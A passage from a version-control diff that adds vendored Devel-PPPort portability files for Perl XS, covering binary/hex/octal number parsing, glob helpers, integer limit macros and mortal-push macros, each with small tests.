+               compiler to make the common case integer-only loop pretty tight.
+               With gcc seems to be much straighter code than old scan_bin.  */
+          redo:
+            if (!overflowed) {
+                if (value <= max_div_2) {
+                    value = (value << 1) | (bit - '0');
+                    continue;
+                }
+                /* Bah. We're just overflowed.  */
+                warn("Integer overflow in binary number");
+                overflowed = TRUE;
+                value_nv = (NV) value;
+            }
+            value_nv *= 2.0;
+            /* If an NV has not enough bits in its mantissa to
+             * represent a UV this summing of small low-order numbers
+             * is a waste of time (because the NV cannot preserve
+             * the low-order bits anyway): we could just remember when
+             * did we overflow and in the end just multiply value_nv by the
+             * right amount. */
+            value_nv += (NV)(bit - '0');
+            continue;
+        }
+        if (bit == '_' && len && allow_underscores && (bit = s[1])
+            && (bit == '0' || bit == '1'))
+            {
+                --len;
+                ++s;
+                goto redo;
+            }
+        if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+            warn("Illegal binary digit '%c' ignored", *s);
+        break;
+    }
+
+    if (   ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+        || (!overflowed && value > 0xffffffff  )
+#endif
+        ) {
+        warn("Binary number > 0b11111111111111111111111111111111 non-portable");
+    }
+    *len_p = s - start;
+    if (!overflowed) {
+        *flags = 0;
+        return value;
+    }
+    *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+    if (result)
+        *result = value_nv;
+    return UV_MAX;
+}
+#endif
+#endif
+
+#ifndef grok_hex
+#if { NEED grok_hex }
+UV
+grok_hex(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+    const char *s = start;
+    STRLEN len = *len_p;
+    UV value = 0;
+    NV value_nv = 0;
+
+    const UV max_div_16 = UV_MAX / 16;
+    bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+    bool overflowed = FALSE;
+    const char *xdigit;
+
+    if (!(*flags & PERL_SCAN_DISALLOW_PREFIX)) {
+        /* strip off leading x or 0x.
+           for compatibility silently suffer "x" and "0x" as valid hex numbers.
+        */
+        if (len >= 1) {
+            if (s[0] == 'x') {
+                s++;
+                len--;
+            }
+            else if (len >= 2 && s[0] == '0' && s[1] == 'x') {
+                s+=2;
+                len-=2;
+            }
+        }
+    }
+
+    for (; len-- && *s; s++) {
+        xdigit = strchr((char *) PL_hexdigit, *s);
+        if (xdigit) {
+            /* Write it in this wonky order with a goto to attempt to get the
+               compiler to make the common case integer-only loop pretty tight.
+               With gcc seems to be much straighter code than old scan_hex.  */
+          redo:
+            if (!overflowed) {
+                if (value <= max_div_16) {
+                    value = (value << 4) | ((xdigit - PL_hexdigit) & 15);
+                    continue;
+                }
+                warn("Integer overflow in hexadecimal number");
+                overflowed = TRUE;
+                value_nv = (NV) value;
+            }
+            value_nv *= 16.0;
+            /* If an NV has not enough bits in its mantissa to
+             * represent a UV this summing of small low-order numbers
+             * is a waste of time (because the NV cannot preserve
+             * the low-order bits anyway): we could just remember when
+             * did we overflow and in the end just multiply value_nv by the
+             * right amount of 16-tuples. */
+            value_nv += (NV)((xdigit - PL_hexdigit) & 15);
+            continue;
+        }
+        if (*s == '_' && len && allow_underscores && s[1]
+                && (xdigit = strchr((char *) PL_hexdigit, s[1])))
+            {
+                --len;
+                ++s;
+                goto redo;
+            }
+        if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+            warn("Illegal hexadecimal digit '%c' ignored", *s);
+        break;
+    }
+
+    if (   ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+        || (!overflowed && value > 0xffffffff  )
+#endif
+        ) {
+        warn("Hexadecimal number > 0xffffffff non-portable");
+    }
+    *len_p = s - start;
+    if (!overflowed) {
+        *flags = 0;
+        return value;
+    }
+    *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+    if (result)
+        *result = value_nv;
+    return UV_MAX;
+}
+#endif
+#endif
+
+#ifndef grok_oct
+#if { NEED grok_oct }
+UV
+grok_oct(pTHX_ const char *start, STRLEN *len_p, I32 *flags, NV *result)
+{
+    const char *s = start;
+    STRLEN len = *len_p;
+    UV value = 0;
+    NV value_nv = 0;
+
+    const UV max_div_8 = UV_MAX / 8;
+    bool allow_underscores = *flags & PERL_SCAN_ALLOW_UNDERSCORES;
+    bool overflowed = FALSE;
+
+    for (; len-- && *s; s++) {
+         /* gcc 2.95 optimiser not smart enough to figure that this subtraction
+            out front allows slicker code.  */
+        int digit = *s - '0';
+        if (digit >= 0 && digit <= 7) {
+            /* Write it in this wonky order with a goto to attempt to get the
+               compiler to make the common case integer-only loop pretty tight.
+            */
+          redo:
+            if (!overflowed) {
+                if (value <= max_div_8) {
+                    value = (value << 3) | digit;
+                    continue;
+                }
+                /* Bah. We're just overflowed.  */
+                warn("Integer overflow in octal number");
+                overflowed = TRUE;
+                value_nv = (NV) value;
+            }
+            value_nv *= 8.0;
+            /* If an NV has not enough bits in its mantissa to
+             * represent a UV this summing of small low-order numbers
+             * is a waste of time (because the NV cannot preserve
+             * the low-order bits anyway): we could just remember when
+             * did we overflow and in the end just multiply value_nv by the
+             * right amount of 8-tuples. */
+            value_nv += (NV)digit;
+            continue;
+        }
+        if (digit == ('_' - '0') && len && allow_underscores
+            && (digit = s[1] - '0') && (digit >= 0 && digit <= 7))
+            {
+                --len;
+                ++s;
+                goto redo;
+            }
+        /* Allow \octal to work the DWIM way (that is, stop scanning
+         * as soon as non-octal characters are seen, complain only iff
+         * someone seems to want to use the digits eight and nine). */
+        if (digit == 8 || digit == 9) {
+            if (!(*flags & PERL_SCAN_SILENT_ILLDIGIT))
+                warn("Illegal octal digit '%c' ignored", *s);
+        }
+        break;
+    }
+
+    if (   ( overflowed && value_nv > 4294967295.0)
+#if UVSIZE > 4
+        || (!overflowed && value > 0xffffffff  )
+#endif
+        ) {
+        warn("Octal number > 037777777777 non-portable");
+    }
+    *len_p = s - start;
+    if (!overflowed) {
+        *flags = 0;
+        return value;
+    }
+    *flags = PERL_SCAN_GREATER_THAN_UV_MAX;
+    if (result)
+        *result = value_nv;
+    return UV_MAX;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_grok_number
+#define NEED_grok_numeric_radix
+#define NEED_grok_bin
+#define NEED_grok_hex
+#define NEED_grok_oct
+
+=xsubs
+
+UV
+grok_number(string)
+        SV *string
+        PREINIT:
+                const char *pv;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                if (!grok_number(pv, len, &RETVAL))
+                  XSRETURN_UNDEF;
+        OUTPUT:
+                RETVAL
+
+UV
+grok_bin(string)
+        SV *string
+        PREINIT:
+                char *pv;
+                I32 flags = 0;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                RETVAL = grok_bin(pv, &len, &flags, NULL);
+        OUTPUT:
+                RETVAL
+
+UV
+grok_hex(string)
+        SV *string
+        PREINIT:
+                char *pv;
+                I32 flags = 0;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                RETVAL = grok_hex(pv, &len, &flags, NULL);
+        OUTPUT:
+                RETVAL
+
+UV
+grok_oct(string)
+        SV *string
+        PREINIT:
+                char *pv;
+                I32 flags = 0;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                RETVAL = grok_oct(pv, &len, &flags, NULL);
+        OUTPUT:
+                RETVAL
+
+UV
+Perl_grok_number(string)
+        SV *string
+        PREINIT:
+                const char *pv;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                if (!Perl_grok_number(aTHX_ pv, len, &RETVAL))
+                  XSRETURN_UNDEF;
+        OUTPUT:
+                RETVAL
+
+UV
+Perl_grok_bin(string)
+        SV *string
+        PREINIT:
+                char *pv;
+                I32 flags = 0;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                RETVAL = Perl_grok_bin(aTHX_ pv, &len, &flags, NULL);
+        OUTPUT:
+                RETVAL
+
+UV
+Perl_grok_hex(string)
+        SV *string
+        PREINIT:
+                char *pv;
+                I32 flags = 0;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                RETVAL = Perl_grok_hex(aTHX_ pv, &len, &flags, NULL);
+        OUTPUT:
+                RETVAL
+
+UV
+Perl_grok_oct(string)
+        SV *string
+        PREINIT:
+                char *pv;
+                I32 flags = 0;
+                STRLEN len;
+        CODE:
+                pv = SvPV(string, len);
+                RETVAL = Perl_grok_oct(aTHX_ pv, &len, &flags, NULL);
+        OUTPUT:
+                RETVAL
+
+=tests plan => 10
+
+ok(&Devel::PPPort::grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::grok_number("A")));
+ok(&Devel::PPPort::grok_bin("10000001"), 129);
+ok(&Devel::PPPort::grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::grok_oct("377"), 255);
+
+ok(&Devel::PPPort::Perl_grok_number("42"), 42);
+ok(!defined(&Devel::PPPort::Perl_grok_number("A")));
+ok(&Devel::PPPort::Perl_grok_bin("10000001"), 129);
+ok(&Devel::PPPort::Perl_grok_hex("deadbeef"), 0xdeadbeef);
+ok(&Devel::PPPort::Perl_grok_oct("377"), 255);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/gv
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/gv	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/gv	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,141 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+gv_fetchpvn_flags
+
+=implementation
+
+#ifndef gv_fetchpvn_flags
+#if { NEED gv_fetchpvn_flags }
+
+GV*
+gv_fetchpvn_flags(pTHX_ const char* name, STRLEN len, int flags, int types) {
+	char *namepv = savepvn(name, len);
+	GV* stash = gv_fetchpv(namepv, TRUE, SVt_PVHV);
+	Safefree(namepv);
+	return stash;
+}
+
+#endif
+#endif
+
+__UNDEFINED__ GvSVn(gv)        GvSV(gv)
+__UNDEFINED__ isGV_with_GP(gv) isGV(gv)
+__UNDEFINED__ gv_fetchsv(name, flags, svt) gv_fetchpv(SvPV_nolen_const(name), flags, svt)
+
+__UNDEFINED__ get_cvn_flags(name, namelen, flags) get_cv(name, flags)
+__UNDEFINED__ gv_init_pvn(gv, stash, ptr, len, flags) gv_init(gv, stash, ptr, len, flags & GV_ADDMULTI ? TRUE : FALSE)
+
+=xsinit
+
+#define NEED_gv_fetchpvn_flags
+
+=xsubs
+
+int
+GvSVn()
+        PREINIT:
+                GV* gv;
+        CODE:
+                RETVAL = 0;
+                gv = gv_fetchpvs("Devel::PPPort::GvTest", GV_ADDMULTI, SVt_PVGV);
+                if (GvSVn(gv) != NULL)
+                {
+                  RETVAL++;
+                }
+        OUTPUT:
+                RETVAL
+
+int
+isGV_with_GP()
+        PREINIT:
+                GV* gv;
+        CODE:
+                RETVAL = 0;
+                gv = gv_fetchpvs("Devel::PPPort::GvTest", GV_ADDMULTI, SVt_PVGV);
+                if (isGV_with_GP(gv))
+                {
+                  RETVAL++;
+                }
+                if (!isGV(&PL_sv_undef))
+                {
+                  RETVAL++;
+                }
+        OUTPUT:
+                RETVAL
+
+int
+get_cvn_flags()
+        PREINIT:
+                CV* xv;
+        CODE:
+                RETVAL = 0;
+                xv = get_cvn_flags("Devel::PPPort::foobar", sizeof("Devel::PPPort::foobar")-1, 0);
+                if(xv == NULL) RETVAL++;
+                xv = get_cvn_flags("Devel::PPPort::foobar", sizeof("Devel::PPPort::foobar")-1, GV_ADDMULTI);
+                if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+                xv = get_cvn_flags("Devel::PPPort::get_cvn_flags", sizeof("Devel::PPPort::get_cvn_flags")-1, 0);
+                if(xv && SvTYPE(xv) == SVt_PVCV) RETVAL++;
+        OUTPUT:
+                RETVAL
+
+SV*
+gv_fetchpvn_flags()
+        CODE:
+#if { VERSION < 5.9.2 } || { VERSION > 5.9.3 } /* 5.9.2 and 5.9.3 ignore the length param */
+                RETVAL = newRV_inc((SV*)gv_fetchpvn_flags("Devel::PPPort::VERSIONFAKE", sizeof("Devel::PPPort::VERSIONFAKE")-5, 0, SVt_PV));
+#else
+                RETVAL = newRV_inc((SV*)gv_fetchpvn_flags("Devel::PPPort::VERSION", 0, 0, SVt_PV));
+#endif
+        OUTPUT:
+                RETVAL
+
+SV*
+gv_fetchsv(name)
+        SV *name
+        CODE:
+                RETVAL = newRV_inc((SV*)gv_fetchsv(name, 0, SVt_PV));
+        OUTPUT:
+                RETVAL
+
+void
+gv_init_type(namesv, multi, flags)
+    SV* namesv
+    int multi
+    I32 flags
+    PREINIT:
+        HV *defstash = gv_stashpv("main", 0);
+        STRLEN len;
+        const char * const name = SvPV_const(namesv, len);
+        GV *gv = *(GV**)hv_fetch(defstash, name, len, TRUE);
+    PPCODE:
+        if (SvTYPE(gv) == SVt_PVGV)
+            Perl_croak(aTHX_ "GV is already a PVGV");
+        if (multi) flags |= GV_ADDMULTI;
+        gv_init_pvn(gv, defstash, name, len, flags);
+	XPUSHs( gv ? (SV*)gv : &PL_sv_undef);
+
+=tests plan => 7
+
+ok(Devel::PPPort::GvSVn(), 1);
+
+ok(Devel::PPPort::isGV_with_GP(), 2);
+
+ok(Devel::PPPort::get_cvn_flags(), 3);
+
+ok(Devel::PPPort::gv_fetchpvn_flags(), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_fetchsv("Devel::PPPort::VERSION"), \*Devel::PPPort::VERSION);
+
+ok(Devel::PPPort::gv_init_type("sanity_check", 0, 0), "*main::sanity_check");
+ok($::{sanity_check});

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/limits
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/limits	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/limits	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,326 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PERL_UCHAR_MIN
+PERL_UCHAR_MAX
+PERL_USHORT_MIN
+PERL_USHORT_MAX
+PERL_SHORT_MAX
+PERL_SHORT_MIN
+PERL_UINT_MAX
+PERL_UINT_MIN
+PERL_INT_MAX
+PERL_INT_MIN
+PERL_ULONG_MAX
+PERL_ULONG_MIN
+PERL_LONG_MAX
+PERL_LONG_MIN
+PERL_UQUAD_MAX
+PERL_UQUAD_MIN
+PERL_QUAD_MAX
+PERL_QUAD_MIN
+IVSIZE
+UVSIZE
+IVTYPE
+UVTYPE
+
+=implementation
+
+#ifdef I_LIMITS
+#  include <limits.h>
+#endif
+
+#ifndef PERL_UCHAR_MIN
+#  define PERL_UCHAR_MIN ((unsigned char)0)
+#endif
+
+#ifndef PERL_UCHAR_MAX
+#  ifdef UCHAR_MAX
+#    define PERL_UCHAR_MAX ((unsigned char)UCHAR_MAX)
+#  else
+#    ifdef MAXUCHAR
+#      define PERL_UCHAR_MAX ((unsigned char)MAXUCHAR)
+#    else
+#      define PERL_UCHAR_MAX ((unsigned char)~(unsigned)0)
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_USHORT_MIN
+#  define PERL_USHORT_MIN ((unsigned short)0)
+#endif
+
+#ifndef PERL_USHORT_MAX
+#  ifdef USHORT_MAX
+#    define PERL_USHORT_MAX ((unsigned short)USHORT_MAX)
+#  else
+#    ifdef MAXUSHORT
+#      define PERL_USHORT_MAX ((unsigned short)MAXUSHORT)
+#    else
+#      ifdef USHRT_MAX
+#        define PERL_USHORT_MAX ((unsigned short)USHRT_MAX)
+#      else
+#        define PERL_USHORT_MAX ((unsigned short)~(unsigned)0)
+#      endif
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_SHORT_MAX
+#  ifdef SHORT_MAX
+#    define PERL_SHORT_MAX ((short)SHORT_MAX)
+#  else
+#    ifdef MAXSHORT    /* Often used in <values.h> */
+#      define PERL_SHORT_MAX ((short)MAXSHORT)
+#    else
+#      ifdef SHRT_MAX
+#        define PERL_SHORT_MAX ((short)SHRT_MAX)
+#      else
+#        define PERL_SHORT_MAX ((short) (PERL_USHORT_MAX >> 1))
+#      endif
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_SHORT_MIN
+#  ifdef SHORT_MIN
+#    define PERL_SHORT_MIN ((short)SHORT_MIN)
+#  else
+#    ifdef MINSHORT
+#      define PERL_SHORT_MIN ((short)MINSHORT)
+#    else
+#      ifdef SHRT_MIN
+#        define PERL_SHORT_MIN ((short)SHRT_MIN)
+#      else
+#        define PERL_SHORT_MIN (-PERL_SHORT_MAX - ((3 & -1) == 3))
+#      endif
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_UINT_MAX
+#  ifdef UINT_MAX
+#    define PERL_UINT_MAX ((unsigned int)UINT_MAX)
+#  else
+#    ifdef MAXUINT
+#      define PERL_UINT_MAX ((unsigned int)MAXUINT)
+#    else
+#      define PERL_UINT_MAX (~(unsigned int)0)
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_UINT_MIN
+#  define PERL_UINT_MIN ((unsigned int)0)
+#endif
+
+#ifndef PERL_INT_MAX
+#  ifdef INT_MAX
+#    define PERL_INT_MAX ((int)INT_MAX)
+#  else
+#    ifdef MAXINT    /* Often used in <values.h> */
+#      define PERL_INT_MAX ((int)MAXINT)
+#    else
+#      define PERL_INT_MAX ((int)(PERL_UINT_MAX >> 1))
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_INT_MIN
+#  ifdef INT_MIN
+#    define PERL_INT_MIN ((int)INT_MIN)
+#  else
+#    ifdef MININT
+#      define PERL_INT_MIN ((int)MININT)
+#    else
+#      define PERL_INT_MIN (-PERL_INT_MAX - ((3 & -1) == 3))
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_ULONG_MAX
+#  ifdef ULONG_MAX
+#    define PERL_ULONG_MAX ((unsigned long)ULONG_MAX)
+#  else
+#    ifdef MAXULONG
+#      define PERL_ULONG_MAX ((unsigned long)MAXULONG)
+#    else
+#      define PERL_ULONG_MAX (~(unsigned long)0)
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_ULONG_MIN
+#  define PERL_ULONG_MIN ((unsigned long)0L)
+#endif
+
+#ifndef PERL_LONG_MAX
+#  ifdef LONG_MAX
+#    define PERL_LONG_MAX ((long)LONG_MAX)
+#  else
+#    ifdef MAXLONG
+#      define PERL_LONG_MAX ((long)MAXLONG)
+#    else
+#      define PERL_LONG_MAX ((long) (PERL_ULONG_MAX >> 1))
+#    endif
+#  endif
+#endif
+
+#ifndef PERL_LONG_MIN
+#  ifdef LONG_MIN
+#    define PERL_LONG_MIN ((long)LONG_MIN)
+#  else
+#    ifdef MINLONG
+#      define PERL_LONG_MIN ((long)MINLONG)
+#    else
+#      define PERL_LONG_MIN (-PERL_LONG_MAX - ((3 & -1) == 3))
+#    endif
+#  endif
+#endif
+
+#if defined(HAS_QUAD) && (defined(convex) || defined(uts))
+#  ifndef PERL_UQUAD_MAX
+#    ifdef ULONGLONG_MAX
+#      define PERL_UQUAD_MAX ((unsigned long long)ULONGLONG_MAX)
+#    else
+#      ifdef MAXULONGLONG
+#        define PERL_UQUAD_MAX ((unsigned long long)MAXULONGLONG)
+#      else
+#        define PERL_UQUAD_MAX (~(unsigned long long)0)
+#      endif
+#    endif
+#  endif
+
+#  ifndef PERL_UQUAD_MIN
+#    define PERL_UQUAD_MIN ((unsigned long long)0L)
+#  endif
+
+#  ifndef PERL_QUAD_MAX
+#    ifdef LONGLONG_MAX
+#      define PERL_QUAD_MAX ((long long)LONGLONG_MAX)
+#    else
+#      ifdef MAXLONGLONG
+#        define PERL_QUAD_MAX ((long long)MAXLONGLONG)
+#      else
+#        define PERL_QUAD_MAX ((long long) (PERL_UQUAD_MAX >> 1))
+#      endif
+#    endif
+#  endif
+
+#  ifndef PERL_QUAD_MIN
+#    ifdef LONGLONG_MIN
+#      define PERL_QUAD_MIN ((long long)LONGLONG_MIN)
+#    else
+#      ifdef MINLONGLONG
+#        define PERL_QUAD_MIN ((long long)MINLONGLONG)
+#      else
+#        define PERL_QUAD_MIN (-PERL_QUAD_MAX - ((3 & -1) == 3))
+#      endif
+#    endif
+#  endif
+#endif
+
+/* This is based on code from 5.003 perl.h */
+#ifdef HAS_QUAD
+#  ifdef cray
+     __UNDEFINED__ IVTYPE int
+     __UNDEFINED__ IV_MIN PERL_INT_MIN
+     __UNDEFINED__ IV_MAX PERL_INT_MAX
+     __UNDEFINED__ UV_MIN PERL_UINT_MIN
+     __UNDEFINED__ UV_MAX PERL_UINT_MAX
+#    ifdef INTSIZE
+       __UNDEFINED__ IVSIZE INTSIZE
+#    endif
+#  else
+#    if defined(convex) || defined(uts)
+       __UNDEFINED__ IVTYPE long long
+       __UNDEFINED__ IV_MIN PERL_QUAD_MIN
+       __UNDEFINED__ IV_MAX PERL_QUAD_MAX
+       __UNDEFINED__ UV_MIN PERL_UQUAD_MIN
+       __UNDEFINED__ UV_MAX PERL_UQUAD_MAX
+#      ifdef LONGLONGSIZE
+         __UNDEFINED__ IVSIZE LONGLONGSIZE
+#      endif
+#    else
+       __UNDEFINED__ IVTYPE long
+       __UNDEFINED__ IV_MIN PERL_LONG_MIN
+       __UNDEFINED__ IV_MAX PERL_LONG_MAX
+       __UNDEFINED__ UV_MIN PERL_ULONG_MIN
+       __UNDEFINED__ UV_MAX PERL_ULONG_MAX
+#      ifdef LONGSIZE
+         __UNDEFINED__ IVSIZE LONGSIZE
+#      endif
+#    endif
+#  endif
+  __UNDEFINED__ IVSIZE 8
+  __UNDEFINED__ LONGSIZE 8
+  __UNDEFINED__ PERL_QUAD_MIN  IV_MIN
+  __UNDEFINED__ PERL_QUAD_MAX  IV_MAX
+  __UNDEFINED__ PERL_UQUAD_MIN UV_MIN
+  __UNDEFINED__ PERL_UQUAD_MAX UV_MAX
+#else
+  __UNDEFINED__ IVTYPE long
+  __UNDEFINED__ LONGSIZE 4
+  __UNDEFINED__ IV_MIN PERL_LONG_MIN
+  __UNDEFINED__ IV_MAX PERL_LONG_MAX
+  __UNDEFINED__ UV_MIN PERL_ULONG_MIN
+  __UNDEFINED__ UV_MAX PERL_ULONG_MAX
+#endif
+
+#ifndef IVSIZE
+#  ifdef LONGSIZE
+#    define IVSIZE LONGSIZE
+#  else
+#    define IVSIZE 4 /* A bold guess, but the best we can make. */
+#  endif
+#endif
+
+__UNDEFINED__ UVTYPE unsigned IVTYPE
+__UNDEFINED__ UVSIZE IVSIZE
+
+=xsubs
+
+IV
+iv_size()
+        CODE:
+                RETVAL = IVSIZE == sizeof(IV);
+        OUTPUT:
+                RETVAL
+
+IV
+uv_size()
+        CODE:
+                RETVAL = UVSIZE == sizeof(UV);
+        OUTPUT:
+                RETVAL
+
+IV
+iv_type()
+        CODE:
+                RETVAL = sizeof(IVTYPE) == sizeof(IV);
+        OUTPUT:
+                RETVAL
+
+IV
+uv_type()
+        CODE:
+                RETVAL = sizeof(UVTYPE) == sizeof(UV);
+        OUTPUT:
+                RETVAL
+
+=tests plan => 4
+
+ok(&Devel::PPPort::iv_size());
+ok(&Devel::PPPort::uv_size());
+ok(&Devel::PPPort::iv_type());
+ok(&Devel::PPPort::uv_type());

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/mPUSH
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/mPUSH	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/mPUSH	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,131 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+
+=implementation
+
+__UNDEFINED__  mPUSHs(s)        PUSHs(sv_2mortal(s))
+__UNDEFINED__  PUSHmortal       PUSHs(sv_newmortal())
+__UNDEFINED__  mPUSHp(p,l)      sv_setpvn(PUSHmortal, (p), (l))
+__UNDEFINED__  mPUSHn(n)        sv_setnv(PUSHmortal, (NV)(n))
+__UNDEFINED__  mPUSHi(i)        sv_setiv(PUSHmortal, (IV)(i))
+__UNDEFINED__  mPUSHu(u)        sv_setuv(PUSHmortal, (UV)(u))
+
+__UNDEFINED__  mXPUSHs(s)       XPUSHs(sv_2mortal(s))
+__UNDEFINED__  XPUSHmortal      XPUSHs(sv_newmortal())
+__UNDEFINED__  mXPUSHp(p,l)     STMT_START { EXTEND(sp,1); sv_setpvn(PUSHmortal, (p), (l)); } STMT_END
+__UNDEFINED__  mXPUSHn(n)       STMT_START { EXTEND(sp,1); sv_setnv(PUSHmortal, (NV)(n)); } STMT_END
+__UNDEFINED__  mXPUSHi(i)       STMT_START { EXTEND(sp,1); sv_setiv(PUSHmortal, (IV)(i)); } STMT_END
+__UNDEFINED__  mXPUSHu(u)       STMT_START { EXTEND(sp,1); sv_setuv(PUSHmortal, (UV)(u)); } STMT_END
+
+=xsubs
+
+void
+mPUSHs()
+        PPCODE:
+        EXTEND(SP, 3);
+        mPUSHs(newSVpv("foo", 0));
+        mPUSHs(newSVpv("bar13", 3));
+        mPUSHs(newSViv(42));
+        XSRETURN(3);
+
+void
+mPUSHp()
+        PPCODE:
+        EXTEND(SP, 3);
+        mPUSHp("one", 3);
+        mPUSHp("two", 3);
+        mPUSHp("three", 5);
+        XSRETURN(3);
+
+void
+mPUSHn()
+        PPCODE:
+        EXTEND(SP, 3);
+        mPUSHn(0.5);
+        mPUSHn(-0.25);
+        mPUSHn(0.125);
+        XSRETURN(3);
+
+void
+mPUSHi()
+        PPCODE:
+        EXTEND(SP, 3);
+        mPUSHi(-1);
+        mPUSHi(2);
+        mPUSHi(-3);
+        XSRETURN(3);
+
+void
+mPUSHu()
+        PPCODE:
+        EXTEND(SP, 3);
+        mPUSHu(1);
+        mPUSHu(2);
+        mPUSHu(3);
+        XSRETURN(3);
+
+void
+mXPUSHs()
+        PPCODE:
+        mXPUSHs(newSVpv("foo", 0));
+        mXPUSHs(newSVpv("bar13", 3));
+        mXPUSHs(newSViv(42));
+        XSRETURN(3);
+
+void
+mXPUSHp()
+        PPCODE:
+        mXPUSHp("one", 3);
+        mXPUSHp("two", 3);
+        mXPUSHp("three", 5);
+        XSRETURN(3);
+
+void
+mXPUSHn()
+        PPCODE:
+        mXPUSHn(0.5);
+        mXPUSHn(-0.25);
+        mXPUSHn(0.125);
+        XSRETURN(3);
+
+void
+mXPUSHi()
+        PPCODE:
+        mXPUSHi(-1);
+        mXPUSHi(2);
+        mXPUSHi(-3);
+        XSRETURN(3);
+
+void
+mXPUSHu()
+        PPCODE:
+        mXPUSHu(1);
+        mXPUSHu(2);
+        mXPUSHu(3);
+        XSRETURN(3);
+
+=tests plan => 10
+
+ok(join(':', &Devel::PPPort::mPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mPUSHu()), "1:2:3");
+
+ok(join(':', &Devel::PPPort::mXPUSHs()), "foo:bar:42");
+ok(join(':', &Devel::PPPort::mXPUSHp()), "one:two:three");
+ok(join(':', &Devel::PPPort::mXPUSHn()), "0.5:-0.25:0.125");
+ok(join(':', &Devel::PPPort::mXPUSHi()), "-1:2:-3");
+ok(join(':', &Devel::PPPort::mXPUSHu()), "1:2:3");

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/magic
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/magic	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/magic	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,613 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+mg_findext
+sv_unmagicext
+
+__UNDEFINED__
+/sv_\w+_mg/
+sv_magic_portable
+MUTABLE_PTR
+MUTABLE_SV
+
+=implementation
+
+__UNDEFINED__  SvGETMAGIC(x) STMT_START { if (SvGMAGICAL(x)) mg_get(x); } STMT_END
+
+/* Some random bits for sv_unmagicext. These should probably be pulled in for
+   real and organized at some point */
+
+__UNDEFINED__  HEf_SVKEY   -2
+
+#ifndef MUTABLE_PTR
+#if defined(__GNUC__) && !defined(PERL_GCC_BRACE_GROUPS_FORBIDDEN)
+#  define MUTABLE_PTR(p) ({ void *_p = (p); _p; })
+#else
+#  define MUTABLE_PTR(p) ((void *) (p))
+#endif
+#endif
+
+__UNDEFINED__ MUTABLE_SV(p)   ((SV *)MUTABLE_PTR(p))
+
+/* end of random bits */
+
+__UNDEFINED__  PERL_MAGIC_sv              '\0'
+__UNDEFINED__  PERL_MAGIC_overload        'A'
